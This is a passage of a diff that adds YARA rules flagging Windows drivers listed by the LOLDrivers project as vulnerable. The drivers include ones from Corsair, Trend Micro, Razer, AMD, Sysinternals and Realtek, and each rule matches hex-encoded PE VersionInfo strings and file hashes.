+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a334bdf0c0ab07803380eb6ef83eefe7c147d6962595dd9c943a6a76f2200b0d"
+		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
+		date = "2023-06-14"
+		score = 40
+		id = "50cf8320-c182-5f59-b2a7-750c618312bf"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_1C12 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1c1251784e6f61525d0082882a969cb8a0c5d5359be22f5a73e3b0cd38b51687"
+		date = "2023-06-14"
+		score = 40
+		id = "14390895-6fae-5e00-9d0d-76347782873c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003100320034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_4BC0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4bc0921ffd4acc865525d3faf98961e8decc5aec4974552cbbf2ae8d5a569de4"
+		date = "2023-06-14"
+		score = 40
+		id = "da911735-e7b3-5721-8254-958f25b0efa1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00320030002e0030002e0031003000310032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Iobitinformationtechnology_Iobitunlockersys_Unlocker_F85C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IObitUnlocker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004"
+		date = "2023-06-14"
+		score = 40
+		id = "a9cbfdc3-6c84-5c6f-98a9-8cf77cc32d9d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0055006e006c006f0063006b006500720020004400720069007600650072 } /* FileDescription UnlockerDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f00620069007400200049006e0066006f0072006d006100740069006f006e00200054006500630068006e006f006c006f00670079 } /* CompanyName IObitInformationTechnology */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e00310030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 } /* InternalName IObitUnlockersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0055006e006c006f0063006b00650072 } /* ProductName Unlocker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f0062006900740055006e006c006f0063006b00650072002e007300790073 } /* OriginalFilename IObitUnlockersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright IObitAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_93D8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63"
+		date = "2023-06-14"
+		score = 40
+		id = "d300e7a0-b24b-5d52-b850-0aab145b33c5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 } /* FileDescription RazerOverlaySupport */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e } /* CompanyName RazerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b } /* InternalName Rzpnk */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b } /* ProductName Rzpnk */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 } /* OriginalFilename Rzpnksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e } /* LegalCopyright CopyrightCRazerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Wisecleanercom_Wiseunlosys_Wiseunlo_358A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WiseUnlo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69"
+		date = "2023-06-14"
+		score = 40
+		id = "78b84e8a-1f92-5954-a1da-19d7208279db"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069007300650055006e006c006f } /* FileDescription WiseUnlo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069007300650043006c00650061006e00650072002e0063006f006d } /* CompanyName WiseCleanercom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0032002e00310033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 } /* InternalName WiseUnlosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069007300650055006e006c006f } /* ProductName WiseUnlo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069007300650055006e006c006f002e007300790073 } /* OriginalFilename WiseUnlosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000310035 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_9B6A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b6a84f7c40ea51c38cc4d2e93efb3375e9d98d4894a85941190d94fbe73a4e4"
+		date = "2023-06-14"
+		score = 40
+		id = "8fc2f891-9898-551b-8a21-5222af319764"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00320037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00320037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310039 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_7D43 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea"
+		date = "2023-06-14"
+		score = 40
+		id = "6c041a1a-b6f2-50f1-a079-1a4abc0c1f37"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700360031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310034002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_ADC1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee"
+		date = "2023-06-14"
+		score = 40
+		id = "77819373-6f49-56bc-8636-d25cd75491b7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0031003000310036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_9491 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5"
+		date = "2023-06-14"
+		score = 40
+		id = "1ac2562c-9d06-5372-bc45-e9491a7bfeea"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Fujitsulimited_Advdrvsys_Microsoftrwindowsroperatingsystem_04A8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ADV64DRV.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162"
+		date = "2023-06-14"
+		score = 40
+		id = "fa878fd1-9d19-561e-bd01-b4693a48f480"
+	strings:
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460055004a00490054005300550020004c0049004d0049005400450044002e } /* CompanyName FUJITSULIMITED */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 } /* InternalName ADVDRVsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f006600740052002000570069006e0064006f0077007300520020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftRWindowsROperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 } /* OriginalFilename ADVDRVsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800430029002000460055004a00490054005300550020004c0049004d004900540045004400200032003000300035 } /* LegalCopyright CopyrightCFUJITSULIMITED */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_FF96 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5"
+		date = "2023-06-14"
+		score = 40
+		id = "aa757ead-9ab0-5c5f-ba50-f310130e3d08"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003900200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_7795 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c"
+		date = "2023-06-14"
+		score = 40
+		id = "84866b07-19cc-5c75-acc3-7640adcf68e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0020002000200020002000200020002000200020002000200020002000200020 } /* FileDescription  */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020002000200020002000200020002000200020002000200020002000200020 } /* ProductName  */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_B019 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a"
+		date = "2023-06-14"
+		score = 40
+		id = "4edbf604-a98c-5877-8385-eff85575daa4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevicesinc_Amdpowerprofilersys_Amduprof_0AF5 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDPowerProfiler.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
+		date = "2023-06-14"
+		score = 40
+		id = "6475e885-711f-53ea-9ab6-cdb45b3a0917"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d004400200050006f007700650072002000500072006f00660069006c0069006e00670020004400720069007600650072 } /* FileDescription AMDPowerProfilingDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e } /* CompanyName AdvancedMicroDevicesInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0034002e003400390033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 } /* InternalName AMDPowerProfilersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020007500500072006f0066 } /* ProductName AMDuProf */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 } /* OriginalFilename AMDPowerProfilersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020003200300032003100200041004d004400200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright AMDIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_074A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761"
+		date = "2023-06-14"
+		score = 40
+		id = "2cb53106-382d-5645-a72c-28a64112bb47"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* InternalName rtkiosys */
